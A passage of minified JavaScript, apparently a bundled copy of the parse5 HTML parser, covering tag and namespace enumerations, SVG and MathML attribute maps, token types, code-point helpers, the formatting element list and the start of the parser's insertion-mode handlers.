t===s.NS.SVG&&(e===s.TAG_ID.FOREIGN_OBJECT||e===s.TAG_ID.DESC||e===s.TAG_ID.TITLE)}(e,t,r)||(!i||i===s.NS.MATHML)&&function(e,t){return t===s.NS.MATHML&&(e===s.TAG_ID.MI||e===s.TAG_ID.MO||e===s.TAG_ID.MN||e===s.TAG_ID.MS||e===s.TAG_ID.MTEXT)}(e,t)};const s=r(96854),n={TEXT_HTML:"text/html",APPLICATION_XML:"application/xhtml+xml"},i="definitionurl",a="definitionURL",o=new Map(["attributeName","attributeType","baseFrequency","baseProfile","calcMode","clipPathUnits","diffuseConstant","edgeMode","filterUnits","glyphRef","gradientTransform","gradientUnits","kernelMatrix","kernelUnitLength","keyPoints","keySplines","keyTimes","lengthAdjust","limitingConeAngle","markerHeight","markerUnits","markerWidth","maskContentUnits","maskUnits","numOctaves","pathLength","patternContentUnits","patternTransform","patternUnits","pointsAtX","pointsAtY","pointsAtZ","preserveAlpha","preserveAspectRatio","primitiveUnits","refX","refY","repeatCount","repeatDur","requiredExtensions","requiredFeatures","specularConstant","specularExponent","spreadMethod","startOffset","stdDeviation","stitchTiles","surfaceScale","systemLanguage","tableValues","targetX","targetY","textLength","viewBox","viewTarget","xChannelSelector","yChannelSelector","zoomAndPan"].map((e=>[e.toLowerCase(),e]))),l=new Map([["xlink:actuate",{prefix:"xlink",name:"actuate",namespace:s.NS.XLINK}],["xlink:arcrole",{prefix:"xlink",name:"arcrole",namespace:s.NS.XLINK}],["xlink:href",{prefix:"xlink",name:"href",namespace:s.NS.XLINK}],["xlink:role",{prefix:"xlink",name:"role",namespace:s.NS.XLINK}],["xlink:show",{prefix:"xlink",name:"show",namespace:s.NS.XLINK}],["xlink:title",{prefix:"xlink",name:"title",namespace:s.NS.XLINK}],["xlink:type",{prefix:"xlink",name:"type",namespace:s.NS.XLINK}],["xml:lang",{prefix:"xml",name:"lang",namespace:s.NS.XML}],["xml:space",{prefix:"xml",name:"space",namespace:s.NS.XML}],["xmlns",{prefix:"",name:"xmlns",namespace:s.NS.XMLNS}],["xmlns:xlink",{prefix:"xmlns",name:"xlink",namespace:s.NS.XMLNS}]]);t.SVG_TAG_NAMES_ADJUSTMENT_MAP=new Map(["altGlyph","altGlyphDef","altGlyphItem","animateColor","animateMotion","animateTransform","clipPath","feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDistantLight","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence","foreignObject","glyphRef","linearGradient","radialGradient","textPath"].map((e=>[e.toLowerCase(),e])));const u=new Set([s.TAG_ID.B,s.TAG_ID.BIG,s.TAG_ID.BLOCKQUOTE,s.TAG_ID.BODY,s.TAG_ID.BR,s.TAG_ID.CENTER,s.TAG_ID.CODE,s.TAG_ID.DD,s.TAG_ID.DIV,s.TAG_ID.DL,s.TAG_ID.DT,s.TAG_ID.EM,s.TAG_ID.EMBED,s.TAG_ID.H1,s.TAG_ID.H2,s.TAG_ID.H3,s.TAG_ID.H4,s.TAG_ID.H5,s.TAG_ID.H6,s.TAG_ID.HEAD,s.TAG_ID.HR,s.TAG_ID.I,s.TAG_ID.IMG,s.TAG_ID.LI,s.TAG_ID.LISTING,s.TAG_ID.MENU,s.TAG_ID.META,s.TAG_ID.NOBR,s.TAG_ID.OL,s.TAG_ID.P,s.TAG_ID.PRE,s.TAG_ID.RUBY,s.TAG_ID.S,s.TAG_ID.SMALL,s.TAG_ID.SPAN,s.TAG_ID.STRONG,s.TAG_ID.STRIKE,s.TAG_ID.SUB,s.TAG_ID.SUP,s.TAG_ID.TABLE,s.TAG_ID.TT,s.TAG_ID.U,s.TAG_ID.UL,s.TAG_ID.VAR])},96854:(e,t)=>{"use strict";var r,s,n,i,a;Object.defineProperty(t,"__esModule",{value:!0}),t.NUMBERED_HEADERS=t.SPECIAL_ELEMENTS=t.TAG_ID=t.TAG_NAMES=t.DOCUMENT_MODE=t.ATTRS=t.NS=void 0,t.getTagID=function(e){var t;return null!==(t=o.get(e))&&void 0!==t?t:a.UNKNOWN},t.hasUnescapedText=function(e,t){return u.has(e)||t&&e===i.NOSCRIPT},function(e){e.HTML="http://www.w3.org/1999/xhtml",e.MATHML="http://www.w3.org/1998/Math/MathML",e.SVG="http://www.w3.org/2000/svg",e.XLINK="http://www.w3.org/1999/xlink",e.XML="http://www.w3.org/XML/1998/namespace",e.XMLNS="http://www.w3.org/2000/xmlns/"}(r||(t.NS=r={})),function(e){e.TYPE="type",e.ACTION="action",e.ENCODING="encoding",e.PROMPT="prompt",e.NAME="name",e.COLOR="color",e.FACE="face",e.SIZE="size"}(s||(t.ATTRS=s={})),function(e){e.NO_QUIRKS="no-quirks",e.QUIRKS="quirks",e.LIMITED_QUIRKS="limited-quirks"}(n||(t.DOCUMENT_MODE=n={})),function(e){e.A="a",e.ADDRESS="address",e.ANNOTATION_XML="annotation-xml",e.APPLET="applet",e.AREA="area",e.ARTICLE="article",e.ASIDE="aside",e.B="b",e.BASE="base",e.BASEFONT="basefont",e.BGSOUND="bgsound",e.BIG="big",e.BLOCKQUOTE="blockquote",e.BODY="body",e.BR="br",e.BUTTON="button",e.CAPTION="caption",e.CENTER="center",e.CODE="code",e.COL="col",e.COLGROUP="colgroup",e.DD="dd",e.DESC="desc",e.DETAILS="details",e.DIALOG="dialog",e.DIR="dir",e.DIV="div",e.DL="dl",e.DT="dt",e.EM="em",e.EMBED="embed",e.FIELDSET="fieldset",e.FIGCAPTION="figcaption",e.FIGURE="figure",e.FONT="font",e.FOOTER="footer",e.FOREIGN_OBJECT="foreignObject",e.FORM="form",e.FRAME="frame",e.FRAMESET="frameset",e.H1="h1",e.H2="h2",e.H3="h3",e.H4="h4",e.H5="h5",e.H6="h6",e.HEAD="head",e.HEADER="header",e.HGROUP="hgroup",e.HR="hr",e.HTML="html",e.I="i",e.IMG="img",e.IMAGE="image",e.INPUT="input",e.IFRAME="iframe",e.KEYGEN="keygen",e.LABEL="label",e.LI="li",e.LINK="link",e.LISTING="listing",e.MAIN="main",e.MALIGNMARK="malignmark",e.MARQUEE="marquee",e.MATH="math",e.MENU="menu",e.META="meta",e.MGLYPH="mglyph",e.MI="mi",e.MO="mo",e.MN="mn",e.MS="ms",e.MTEXT="mtext",e.NAV="nav",e.NOBR="nobr",e.NOFRAMES="noframes",e.NOEMBED="noembed",e.NOSCRIPT="noscript",e.OBJECT="object",e.OL="ol",e.OPTGROUP="optgroup",e.OPTION="option",e.P="p",e.PARAM="param",e.PLAINTEXT="plaintext",e.PRE="pre",e.RB="rb",e.RP="rp",e.RT="rt",e.RTC="rtc",e.RUBY="ruby",e.S="s",e.SCRIPT="script",e.SEARCH="search",e.SECTION="section",e.SELECT="select",e.SOURCE="source",e.SMALL="small",e.SPAN="span",e.STRIKE="strike",e.STRONG="strong",e.STYLE="style",e.SUB="sub",e.SUMMARY="summary",e.SUP="sup",e.TABLE="table",e.TBODY="tbody",e.TEMPLATE="template",e.TEXTAREA="textarea",e.TFOOT="tfoot",e.TD="td",e.TH="th",e.THEAD="thead",e.TITLE="title",e.TR="tr",e.TRACK="track",e.TT="tt",e.U="u",e.UL="ul",e.SVG="svg",e.VAR="var",e.WBR="wbr",e.XMP="xmp"}(i||(t.TAG_NAMES=i={})),function(e){e[e.UNKNOWN=0]="UNKNOWN",e[e.A=1]="A",e[e.ADDRESS=2]="ADDRESS",e[e.ANNOTATION_XML=3]="ANNOTATION_XML",e[e.APPLET=4]="APPLET",e[e.AREA=5]="AREA",e[e.ARTICLE=6]="ARTICLE",e[e.ASIDE=7]="ASIDE",e[e.B=8]="B",e[e.BASE=9]="BASE",e[e.BASEFONT=10]="BASEFONT",e[e.BGSOUND=11]="BGSOUND",e[e.BIG=12]="BIG",e[e.BLOCKQUOTE=13]="BLOCKQUOTE",e[e.BODY=14]="BODY",e[e.BR=15]="BR",e[e.BUTTON=16]="BUTTON",e[e.CAPTION=17]="CAPTION",e[e.CENTER=18]="CENTER",e[e.CODE=19]="CODE",e[e.COL=20]="COL",e[e.COLGROUP=21]="COLGROUP",e[e.DD=22]="DD",e[e.DESC=23]="DESC",e[e.DETAILS=24]="DETAILS",e[e.DIALOG=25]="DIALOG",e[e.DIR=26]="DIR",e[e.DIV=27]="DIV",e[e.DL=28]="DL",e[e.DT=29]="DT",e[e.EM=30]="EM",e[e.EMBED=31]="EMBED",e[e.FIELDSET=32]="FIELDSET",e[e.FIGCAPTION=33]="FIGCAPTION",e[e.FIGURE=34]="FIGURE",e[e.FONT=35]="FONT",e[e.FOOTER=36]="FOOTER",e[e.FOREIGN_OBJECT=37]="FOREIGN_OBJECT",e[e.FORM=38]="FORM",e[e.FRAME=39]="FRAME",e[e.FRAMESET=40]="FRAMESET",e[e.H1=41]="H1",e[e.H2=42]="H2",e[e.H3=43]="H3",e[e.H4=44]="H4",e[e.H5=45]="H5",e[e.H6=46]="H6",e[e.HEAD=47]="HEAD",e[e.HEADER=48]="HEADER",e[e.HGROUP=49]="HGROUP",e[e.HR=50]="HR",e[e.HTML=51]="HTML",e[e.I=52]="I",e[e.IMG=53]="IMG",e[e.IMAGE=54]="IMAGE",e[e.INPUT=55]="INPUT",e[e.IFRAME=56]="IFRAME",e[e.KEYGEN=57]="KEYGEN",e[e.LABEL=58]="LABEL",e[e.LI=59]="LI",e[e.LINK=60]="LINK",e[e.LISTING=61]="LISTING",e[e.MAIN=62]="MAIN",e[e.MALIGNMARK=63]="MALIGNMARK",e[e.MARQUEE=64]="MARQUEE",e[e.MATH=65]="MATH",e[e.MENU=66]="MENU",e[e.META=67]="META",e[e.MGLYPH=68]="MGLYPH",e[e.MI=69]="MI",e[e.MO=70]="MO",e[e.MN=71]="MN",e[e.MS=72]="MS",e[e.MTEXT=73]="MTEXT",e[e.NAV=74]="NAV",e[e.NOBR=75]="NOBR",e[e.NOFRAMES=76]="NOFRAMES",e[e.NOEMBED=77]="NOEMBED",e[e.NOSCRIPT=78]="NOSCRIPT",e[e.OBJECT=79]="OBJECT",e[e.OL=80]="OL",e[e.OPTGROUP=81]="OPTGROUP",e[e.OPTION=82]="OPTION",e[e.P=83]="P",e[e.PARAM=84]="PARAM",e[e.PLAINTEXT=85]="PLAINTEXT",e[e.PRE=86]="PRE",e[e.RB=87]="RB",e[e.RP=88]="RP",e[e.RT=89]="RT",e[e.RTC=90]="RTC",e[e.RUBY=91]="RUBY",e[e.S=92]="S",e[e.SCRIPT=93]="SCRIPT",e[e.SEARCH=94]="SEARCH",e[e.SECTION=95]="SECTION",e[e.SELECT=96]="SELECT",e[e.SOURCE=97]="SOURCE",e[e.SMALL=98]="SMALL",e[e.SPAN=99]="SPAN",e[e.STRIKE=100]="STRIKE",e[e.STRONG=101]="STRONG",e[e.STYLE=102]="STYLE",e[e.SUB=103]="SUB",e[e.SUMMARY=104]="SUMMARY",e[e.SUP=105]="SUP",e[e.TABLE=106]="TABLE",e[e.TBODY=107]="TBODY",e[e.TEMPLATE=108]="TEMPLATE",e[e.TEXTAREA=109]="TEXTAREA",e[e.TFOOT=110]="TFOOT",e[e.TD=111]="TD",e[e.TH=112]="TH",e[e.THEAD=113]="THEAD",e[e.TITLE=114]="TITLE",e[e.TR=115]="TR",e[e.TRACK=116]="TRACK",e[e.TT=117]="TT",e[e.U=118]="U",e[e.UL=119]="UL",e[e.SVG=120]="SVG",e[e.VAR=121]="VAR",e[e.WBR=122]="WBR",e[e.XMP=123]="XMP"}(a||(t.TAG_ID=a={}));const o=new Map([[i.A,a.A],[i.ADDRESS,a.ADDRESS],[i.ANNOTATION_XML,a.ANNOTATION_XML],[i.APPLET,a.APPLET],[i.AREA,a.AREA],[i.ARTICLE,a.ARTICLE],[i.ASIDE,a.ASIDE],[i.B,a.B],[i.BASE,a.BASE],[i.BASEFONT,a.BASEFONT],[i.BGSOUND,a.BGSOUND],[i.BIG,a.BIG],[i.BLOCKQUOTE,a.BLOCKQUOTE],[i.BODY,a.BODY],[i.BR,a.BR],[i.BUTTON,a.BUTTON],[i.CAPTION,a.CAPTION],[i.CENTER,a.CENTER],[i.CODE,a.CODE],[i.COL,a.COL],[i.COLGROUP,a.COLGROUP],[i.DD,a.DD],[i.DESC,a.DESC],[i.DETAILS,a.DETAILS],[i.DIALOG,a.DIALOG],[i.DIR,a.DIR],[i.DIV,a.DIV],[i.DL,a.DL],[i.DT,a.DT],[i.EM,a.EM],[i.EMBED,a.EMBED],[i.FIELDSET,a.FIELDSET],[i.FIGCAPTION,a.FIGCAPTION],[i.FIGURE,a.FIGURE],[i.FONT,a.FONT],[i.FOOTER,a.FOOTER],[i.FOREIGN_OBJECT,a.FOREIGN_OBJECT],[i.FORM,a.FORM],[i.FRAME,a.FRAME],[i.FRAMESET,a.FRAMESET],[i.H1,a.H1],[i.H2,a.H2],[i.H3,a.H3],[i.H4,a.H4],[i.H5,a.H5],[i.H6,a.H6],[i.HEAD,a.HEAD],[i.HEADER,a.HEADER],[i.HGROUP,a.HGROUP],[i.HR,a.HR],[i.HTML,a.HTML],[i.I,a.I],[i.IMG,a.IMG],[i.IMAGE,a.IMAGE],[i.INPUT,a.INPUT],[i.IFRAME,a.IFRAME],[i.KEYGEN,a.KEYGEN],[i.LABEL,a.LABEL],[i.LI,a.LI],[i.LINK,a.LINK],[i.LISTING,a.LISTING],[i.MAIN,a.MAIN],[i.MALIGNMARK,a.MALIGNMARK],[i.MARQUEE,a.MARQUEE],[i.MATH,a.MATH],[i.MENU,a.MENU],[i.META,a.META],[i.MGLYPH,a.MGLYPH],[i.MI,a.MI],[i.MO,a.MO],[i.MN,a.MN],[i.MS,a.MS],[i.MTEXT,a.MTEXT],[i.NAV,a.NAV],[i.NOBR,a.NOBR],[i.NOFRAMES,a.NOFRAMES],[i.NOEMBED,a.NOEMBED],[i.NOSCRIPT,a.NOSCRIPT],[i.OBJECT,a.OBJECT],[i.OL,a.OL],[i.OPTGROUP,a.OPTGROUP],[i.OPTION,a.OPTION],[i.P,a.P],[i.PARAM,a.PARAM],[i.PLAINTEXT,a.PLAINTEXT],[i.PRE,a.PRE],[i.RB,a.RB],[i.RP,a.RP],[i.RT,a.RT],[i.RTC,a.RTC],[i.RUBY,a.RUBY],[i.S,a.S],[i.SCRIPT,a.SCRIPT],[i.SEARCH,a.SEARCH],[i.SECTION,a.SECTION],[i.SELECT,a.SELECT],[i.SOURCE,a.SOURCE],[i.SMALL,a.SMALL],[i.SPAN,a.SPAN],[i.STRIKE,a.STRIKE],[i.STRONG,a.STRONG],[i.STYLE,a.STYLE],[i.SUB,a.SUB],[i.SUMMARY,a.SUMMARY],[i.SUP,a.SUP],[i.TABLE,a.TABLE],[i.TBODY,a.TBODY],[i.TEMPLATE,a.TEMPLATE],[i.TEXTAREA,a.TEXTAREA],[i.TFOOT,a.TFOOT],[i.TD,a.TD],[i.TH,a.TH],[i.THEAD,a.THEAD],[i.TITLE,a.TITLE],[i.TR,a.TR],[i.TRACK,a.TRACK],[i.TT,a.TT],[i.U,a.U],[i.UL,a.UL],[i.SVG,a.SVG],[i.VAR,a.VAR],[i.WBR,a.WBR],[i.XMP,a.XMP]]),l=a;t.SPECIAL_ELEMENTS={[r.HTML]:new Set([l.ADDRESS,l.APPLET,l.AREA,l.ARTICLE,l.ASIDE,l.BASE,l.BASEFONT,l.BGSOUND,l.BLOCKQUOTE,l.BODY,l.BR,l.BUTTON,l.CAPTION,l.CENTER,l.COL,l.COLGROUP,l.DD,l.DETAILS,l.DIR,l.DIV,l.DL,l.DT,l.EMBED,l.FIELDSET,l.FIGCAPTION,l.FIGURE,l.FOOTER,l.FORM,l.FRAME,l.FRAMESET,l.H1,l.H2,l.H3,l.H4,l.H5,l.H6,l.HEAD,l.HEADER,l.HGROUP,l.HR,l.HTML,l.IFRAME,l.IMG,l.INPUT,l.LI,l.LINK,l.LISTING,l.MAIN,l.MARQUEE,l.MENU,l.META,l.NAV,l.NOEMBED,l.NOFRAMES,l.NOSCRIPT,l.OBJECT,l.OL,l.P,l.PARAM,l.PLAINTEXT,l.PRE,l.SCRIPT,l.SECTION,l.SELECT,l.SOURCE,l.STYLE,l.SUMMARY,l.TABLE,l.TBODY,l.TD,l.TEMPLATE,l.TEXTAREA,l.TFOOT,l.TH,l.THEAD,l.TITLE,l.TR,l.TRACK,l.UL,l.WBR,l.XMP]),[r.MATHML]:new Set([l.MI,l.MO,l.MN,l.MS,l.MTEXT,l.ANNOTATION_XML]),[r.SVG]:new Set([l.TITLE,l.FOREIGN_OBJECT,l.DESC]),[r.XLINK]:new Set,[r.XML]:new Set,[r.XMLNS]:new Set},t.NUMBERED_HEADERS=new Set([l.H1,l.H2,l.H3,l.H4,l.H5,l.H6]);const u=new Set([i.STYLE,i.SCRIPT,i.XMP,i.IFRAME,i.NOEMBED,i.NOFRAMES,i.PLAINTEXT])},14708:(e,t)=>{"use strict";var r;Object.defineProperty(t,"__esModule",{value:!0}),t.TokenType=void 0,t.getTokenAttr=function(e,t){for(let r=e.attrs.length-1;r>=0;r--)if(e.attrs[r].name===t)return e.attrs[r].value;return null},function(e){e[e.CHARACTER=0]="CHARACTER",e[e.NULL_CHARACTER=1]="NULL_CHARACTER",e[e.WHITESPACE_CHARACTER=2]="WHITESPACE_CHARACTER",e[e.START_TAG=3]="START_TAG",e[e.END_TAG=4]="END_TAG",e[e.COMMENT=5]="COMMENT",e[e.DOCTYPE=6]="DOCTYPE",e[e.EOF=7]="EOF",e[e.HIBERNATION=8]="HIBERNATION"}(r||(t.TokenType=r={}))},6746:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.SEQUENCES=t.CODE_POINTS=t.REPLACEMENT_CHARACTER=void 0,t.isSurrogate=function(e){return e>=55296&&e<=57343},t.isSurrogatePair=function(e){return e>=56320&&e<=57343},t.getSurrogatePairCodePoint=function(e,t){return 1024*(e-55296)+9216+t},t.isControlCodePoint=function(e){return 32!==e&&10!==e&&13!==e&&9!==e&&12!==e&&e>=1&&e<=31||e>=127&&e<=159},t.isUndefinedCodePoint=function(e){return e>=64976&&e<=65007||r.has(e)};const r=new Set([65534,65535,131070,131071,196606,196607,262142,262143,327678,327679,393214,393215,458750,458751,524286,524287,589822,589823,655358,655359,720894,720895,786430,786431,851966,851967,917502,917503,983038,983039,1048574,1048575,1114110,1114111]);var s;t.REPLACEMENT_CHARACTER="�",function(e){e[e.EOF=-1]="EOF",e[e.NULL=0]="NULL",e[e.TABULATION=9]="TABULATION",e[e.CARRIAGE_RETURN=13]="CARRIAGE_RETURN",e[e.LINE_FEED=10]="LINE_FEED",e[e.FORM_FEED=12]="FORM_FEED",e[e.SPACE=32]="SPACE",e[e.EXCLAMATION_MARK=33]="EXCLAMATION_MARK",e[e.QUOTATION_MARK=34]="QUOTATION_MARK",e[e.AMPERSAND=38]="AMPERSAND",e[e.APOSTROPHE=39]="APOSTROPHE",e[e.HYPHEN_MINUS=45]="HYPHEN_MINUS",e[e.SOLIDUS=47]="SOLIDUS",e[e.DIGIT_0=48]="DIGIT_0",e[e.DIGIT_9=57]="DIGIT_9",e[e.SEMICOLON=59]="SEMICOLON",e[e.LESS_THAN_SIGN=60]="LESS_THAN_SIGN",e[e.EQUALS_SIGN=61]="EQUALS_SIGN",e[e.GREATER_THAN_SIGN=62]="GREATER_THAN_SIGN",e[e.QUESTION_MARK=63]="QUESTION_MARK",e[e.LATIN_CAPITAL_A=65]="LATIN_CAPITAL_A",e[e.LATIN_CAPITAL_Z=90]="LATIN_CAPITAL_Z",e[e.RIGHT_SQUARE_BRACKET=93]="RIGHT_SQUARE_BRACKET",e[e.GRAVE_ACCENT=96]="GRAVE_ACCENT",e[e.LATIN_SMALL_A=97]="LATIN_SMALL_A",e[e.LATIN_SMALL_Z=122]="LATIN_SMALL_Z"}(s||(t.CODE_POINTS=s={})),t.SEQUENCES={DASH_DASH:"--",CDATA_START:"[CDATA[",DOCTYPE:"doctype",SCRIPT:"script",PUBLIC:"public",SYSTEM:"system"}},37015:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.TokenizerMode=t.Tokenizer=t.Token=t.html=t.foreignContent=t.ErrorCodes=t.serializeOuter=t.serialize=t.Parser=t.defaultTreeAdapter=void 0,t.parse=function(e,t){return s.Parser.parse(e,t)},t.parseFragment=function(e,t,r){"string"==typeof e&&(r=t,t=e,e=null);const n=s.Parser.getFragmentParser(e,r);return n.tokenizer.write(t,!0),n.getFragment()};const s=r(62314);var n=r(53384);Object.defineProperty(t,"defaultTreeAdapter",{enumerable:!0,get:function(){return n.defaultTreeAdapter}});var i=r(62314);Object.defineProperty(t,"Parser",{enumerable:!0,get:function(){return i.Parser}});var a=r(37742);Object.defineProperty(t,"serialize",{enumerable:!0,get:function(){return a.serialize}}),Object.defineProperty(t,"serializeOuter",{enumerable:!0,get:function(){return a.serializeOuter}});var o=r(13246);Object.defineProperty(t,"ErrorCodes",{enumerable:!0,get:function(){return o.ERR}}),t.foreignContent=r(34589),t.html=r(96854),t.Token=r(14708);var l=r(73783);Object.defineProperty(t,"Tokenizer",{enumerable:!0,get:function(){return l.Tokenizer}}),Object.defineProperty(t,"TokenizerMode",{enumerable:!0,get:function(){return l.TokenizerMode}})},83129:(e,t)=>{"use strict";var r;Object.defineProperty(t,"__esModule",{value:!0}),t.FormattingElementList=t.EntryType=void 0,function(e){e[e.Marker=0]="Marker",e[e.Element=1]="Element"}(r||(t.EntryType=r={}));const s={type:r.Marker};t.FormattingElementList=class{constructor(e){this.treeAdapter=e,this.entries=[],this.bookmark=null}_getNoahArkConditionCandidates(e,t){const s=[],n=t.length,i=this.treeAdapter.getTagName(e),a=this.treeAdapter.getNamespaceURI(e);for(let e=0;e<this.entries.length;e++){const t=this.entries[e];if(t.type===r.Marker)break;const{element:o}=t;if(this.treeAdapter.getTagName(o)===i&&this.treeAdapter.getNamespaceURI(o)===a){const t=this.treeAdapter.getAttrList(o);t.length===n&&s.push({idx:e,attrs:t})}}return s}_ensureNoahArkCondition(e){if(this.entries.length<3)return;const t=this.treeAdapter.getAttrList(e),r=this._getNoahArkConditionCandidates(e,t);if(r.length<3)return;const s=new Map(t.map((e=>[e.name,e.value])));let n=0;for(let e=0;e<r.length;e++){const t=r[e];t.attrs.every((e=>s.get(e.name)===e.value))&&(n+=1,n>=3&&this.entries.splice(t.idx,1))}}insertMarker(){this.entries.unshift(s)}pushElement(e,t){this._ensureNoahArkCondition(e),this.entries.unshift({type:r.Element,element:e,token:t})}insertElementAfterBookmark(e,t){const s=this.entries.indexOf(this.bookmark);this.entries.splice(s,0,{type:r.Element,element:e,token:t})}removeEntry(e){const t=this.entries.indexOf(e);t>=0&&this.entries.splice(t,1)}clearToLastMarker(){const e=this.entries.indexOf(s);e>=0?this.entries.splice(0,e+1):this.entries.length=0}getElementEntryInScopeWithTagName(e){const t=this.entries.find((t=>t.type===r.Marker||this.treeAdapter.getTagName(t.element)===e));return t&&t.type===r.Element?t:null}getElementEntry(e){return this.entries.find((t=>t.type===r.Element&&t.element===e))}}},62314:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Parser=void 0;const s=r(73783),n=r(21982),i=r(83129),a=r(53384),o=r(58993),l=r(34589),u=r(13246),c=r(6746),d=r(96854),h=r(14708),f="hidden",p=8,g=3;var m;!function(e){e[e.INITIAL=0]="INITIAL",e[e.BEFORE_HTML=1]="BEFORE_HTML",e[e.BEFORE_HEAD=2]="BEFORE_HEAD",e[e.IN_HEAD=3]="IN_HEAD",e[e.IN_HEAD_NO_SCRIPT=4]="IN_HEAD_NO_SCRIPT",e[e.AFTER_HEAD=5]="AFTER_HEAD",e[e.IN_BODY=6]="IN_BODY",e[e.TEXT=7]="TEXT",e[e.IN_TABLE=8]="IN_TABLE",e[e.IN_TABLE_TEXT=9]="IN_TABLE_TEXT",e[e.IN_CAPTION=10]="IN_CAPTION",e[e.IN_COLUMN_GROUP=11]="IN_COLUMN_GROUP",e[e.IN_TABLE_BODY=12]="IN_TABLE_BODY",e[e.IN_ROW=13]="IN_ROW",e[e.IN_CELL=14]="IN_CELL",e[e.IN_SELECT=15]="IN_SELECT",e[e.IN_SELECT_IN_TABLE=16]="IN_SELECT_IN_TABLE",e[e.IN_TEMPLATE=17]="IN_TEMPLATE",e[e.AFTER_BODY=18]="AFTER_BODY",e[e.IN_FRAMESET=19]="IN_FRAMESET",e[e.AFTER_FRAMESET=20]="AFTER_FRAMESET",e[e.AFTER_AFTER_BODY=21]="AFTER_AFTER_BODY",e[e.AFTER_AFTER_FRAMESET=22]="AFTER_AFTER_FRAMESET"}(m||(m={}));const _={startLine:-1,startCol:-1,startOffset:-1,endLine:-1,endCol:-1,endOffset:-1},T=new Set([d.TAG_ID.TABLE,d.TAG_ID.TBODY,d.TAG_ID.TFOOT,d.TAG_ID.THEAD,d.TAG_ID.TR]),E={scriptingEnabled:!0,sourceCodeLocationInfo:!1,treeAdapter:a.defaultTreeAdapter,onParseError:null};function A(e,t){let r=e.activeFormattingElements.getElementEntryInScopeWithTagName(t.tagName);return r?e.openElements.contains(r.element)?e.openElements.hasInScope(t.tagID)||(r=null):(e.activeFormattingElements.removeEntry(r),r=null):q(e,t),r}function y(e,t){let r=null,s=e.openElements.stackTop;for(;s>=0;s--){const n=e.openElements.items[s];if(n===t.element)break;e._isSpecialElement(n,e.openElements.tagIDs[s])&&(r=n)}return r||(e.openElements.shortenToLength(s<0?0:s),e.activeFormattingElements.removeEntry(t)),r}function v(e,t,r){let s=t,n=e.openElements.getCommonAncestor(t);for(let i=0,a=n;a!==r;i++,a=n){n=e.openElements.getCommonAncestor(a);const r=e.activeFormattingElements.getElementEntry(a),o=r&&i>=g;!r||o?(o&&e.activeFormattingElements.removeEntry(r),e.openElements.remove(a)):(a=b(e,r),s===t&&(e.activeFormattingElements.bookmark=r),e.treeAdapter.detachNode(s),e.treeAdapter.appendChild(a,s),s=a)}return s}function b(e,t){const r=e.treeAdapter.getNamespaceURI(t.element),s=e.treeAdapter.createElement(t.token.tagName,r,t.token.attrs);return e.openElements.replace(t.element,s),t.element=s,s}function O(e,t,r){const s=e.treeAdapter.getTagName(t),n=(0,d.getTagID)(s);if(e._isElementCausesFosterParenting(n))e._fosterParentElement(r);else{const s=e.treeAdapter.getNamespaceURI(t);n===d.TAG_ID.TEMPLATE&&s===d.NS.HTML&&(t=e.treeAdapter.getTemplateContent(t)),e.treeAdapter.appendChild(t,r)}}function S(e,t,r){const s=e.treeAdapter.getNamespaceURI(r.element),{token:n}=r,i=e.treeAdapter.createElement(n.tagName,s,n.attrs);e._adoptNodes(t,i),e.treeAdapter.appendChild(t,i),e.activeFormattingElements.insertElementAfterBookmark(i,n),e.activeFormattingElements.removeEntry(r),e.openElements.remove(r.element),e.openElements.insertAfter(t,i,n.tagID)}function I(e,t){for(let r=0;r<p;r++){const r=A(e,t);if(!r)break;const s=y(e,r);if(!s)break;e.activeFormattingElements.bookmark=r;const n=v(e,s,r.element),i=e.openElements.getCommonAncestor(r.element);e.treeAdapter.detachNode(n),i&&O(e,i,n),S(e,s,r)}}function C(e,t){e._appendCommentNode(t,e.openElements.currentTmplContentOrNode)}function N(e,t){if(e.stopped=!0,t.location){const r=e.fragmentContext?0:2;for(let s=e.openElements.stackTop;s>=r;s--)e._setEndLocation(e.openElements.items[s],t);if(!e.fragmentContext&&e.openElements.stackTop>=0){const r=e.openElements.items[0],s=e.treeAdapter.getNodeSourceCodeLocation(r);if(s&&!s.endTag&&(e._setEndLocation(r,t),e.openElements.stackTop>=1)){const r=e.openElements.items[1],s=e.treeAdapter.getNodeSourceCodeLocation(r);s&&!s.endTag&&e._setEndLocation(r,t)}}}}function D(e,t){e._err(t,u.ERR.missingDoctype,!0),e.treeAdapter.setDocumentMode(e.document,d.DOCUMENT_MODE.QUIRKS),e.insertionMode=m.BEFORE_HTML,e._processToken(t)}function w(e,t){e._insertFakeRootElement(),e.insertionMode=m.BEFORE_HEAD,e._processToken(t)}function P(e,t){e._insertFakeElement(d.TAG_NAMES.HEAD,d.TAG_ID.HEAD),e.headElement=e.openElements.current,e.insertionMode=m.IN_HEAD,e._processToken(t)}function R(e,t){switch(t.tagID){case d.TAG_ID.HTML:W(e,t);break;case d.TAG_ID.BASE:case d.TAG_ID.BASEFONT:case d.TAG_ID.BGSOUND:case d.TAG_ID.LINK:case d.TAG_ID.META:e._appendElement(t,d.NS.HTML),t.ackSelfClosing=!0;break;case d.TAG_ID.TITLE:e._switchToTextParsing(t,s.TokenizerMode.RCDATA);break;case d.TAG_ID.NOSCRIPT:e.options.scriptingEnabled?e._switchToTextParsing(t,s.TokenizerMode.RAWTEXT):(e._insertElement(t,d.NS.HTML),e.insertionMode=m.IN_HEAD_NO_SCRIPT);break;case d.TAG_ID.NOFRAMES:case d.TAG_ID.STYLE:e._switchToTextParsing(t,s.TokenizerMode.RAWTEXT);break;case d.TAG_ID.SCRIPT:e._switchToTextParsing(t,s.TokenizerMode.SCRIPT_DATA);break;case d.TAG_ID.TEMPLATE:e._insertTemplate(t),e.activeFormattingElements.insertMarker(),e.framesetOk=!1,e.insertionMode=m.IN_TEMPLATE,e.tmplInsertionModeStack.unshift(m.IN_TEMPLATE);break;case d.TAG_ID.HEAD:e._err(t,u.ERR.misplacedStartTagForHeadElement);break;default:L(e,t)}}function 